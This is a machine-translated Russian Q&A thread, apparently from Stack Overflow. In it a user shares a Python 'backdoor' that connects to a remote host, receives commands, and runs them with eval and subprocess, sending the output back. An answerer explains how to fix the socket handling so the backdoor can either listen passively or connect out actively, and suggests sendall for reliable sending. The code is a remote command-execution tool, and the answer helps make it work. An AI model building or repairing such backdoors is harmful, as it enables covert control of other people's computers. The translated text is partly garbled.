2015-12-15 4 views
0

Я делал экспериментальный бэкдор, который должен вставить в переменную строку, которую я пошлю на номер порта 433. Я пробую это, но это не сработает. Вот код:Помещенный в переменную результат прослушивания порта TCP

import socket 
import time 
import subprocess 

host = '' # <-- WRITE HERE THE HOST TO RECIVE INFO 
port = '433' 
s = socket.socket() 
s.accept() 
my_ip = socket.gethostbyname(socket.gethostname()) 
s.bind((host, port)) 
try: 
    s.connect() 
except socket.error(): 
    time.sleep(5) 
    s.connect() 
s.send("\n[*] Status: Conected!") 
s.listen(port) 
while 1: 
    time.sleep(2) 
    s.send("\n[*] Status: Transmiting from " + str(my_ip) + "...") 
    s.send("\n[*] Status: Listening port " + str(port) + "...") 
    rmt_cmd = s.recv(1024) 
    if rmt_cmd != "": 
     eval(rmt_cmd) 
     s.send("\n[*] Status: Executing (" + str(rmt_cmd) + ")...") 
     process = subprocess.Popen(rmt_cmd, shell=False, 
     stdout=subprocess.PIPE, stderr=subprocess.PIPE,  stdin=subprocess.PIPE) 
     cmd_output = process.stdout.read() + process.stderr.read() 
     s.send("\n[*] Command output/error(s):") 
     s.send("\n[*] " + cmd_output) 
    else: 
     s.send("\n[*] No command recived") 
     s.send("\n[*] Status: Listening port " + str(port) + "...") 

Здесь код попытается подключиться к хосту, и если есть ошибка, он ждет 5 секунды и повторите попытку, потому что другой компьютер имеет программу, начать с ОС, которые принимают соединения, так бэкдор ожидания 5 секунд, потому что компьютер может быть включение:

try: 
     s.connect() 
    except socket.error(): 
     time.sleep(5) 
     s.connect() 

, но проблема в том, что я хочу поставить в rmt_cmd (remote_command) строка, я пришлю к порту 433, и это дает мне другое:

rmt_cmd = s.recv(1024) 

Как это сделать?

+2

Я не понимаю, какая ошибка вы получаете? – tglaria

+0

вам нужно запустить это как root. Unix-системы требуют, чтобы корневые привилегии связывались с портами <= 1024. –

+0

@tglaria Я пошлю строку в порт 433, и мне нужно сохранить эту строку в rmt_cmd – Behind7Proxies

ответ

1

Хотя я понимаю, что вы пытаетесь сделать, то, как вы пытаетесь достичь этого, нужно переделать.

s = socket.socket() 
s.accept() 
my_ip = socket.gethostbyname(socket.gethostname()) 
s.bind((host, port)) 
try: 
    s.connect() 
except socket.error(): 
    time.sleep(5) 
    s.connect() 
s.send("\n[*] Status: Conected!") 
s.listen(port) 

Вам нужно понять, что вы на самом деле хотите.

1) Вы хотите, чтобы ваш бэкдор оставался пассивным и ожидал подключения? Тогда это должно быть так:

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) 
sock.bind(address) # your host/port pair that client will need to connect to 
sock.listen(5) 
client_sock = sock.accept() # all the communications happen with 
          # client_sock since now 

В этом случае также возможно, что ваша операционная система не позволит вам связать 433 порт. Порты ниже 1024 обычно запрещены для использования сторонними приложениями для предотвращения конфликтов и бэкдоров (ха-ха).

2) Вы хотите, чтобы ваш бэкдор активно подключался к удаленному хосту? Просто создайте сокет и используйте его метод connect. Не смешивайте bind+listen+accept (режим пассивной розетки) с connect (активный режим).

rmt_cmd = s.recv(1024) часть is unreliable and needs to be refactored. То же самое с s.send обычаями. Вместо этого используйте s.sendall или есть изменение, и вы не отправите все сообщение в одном send.

Смежные вопросы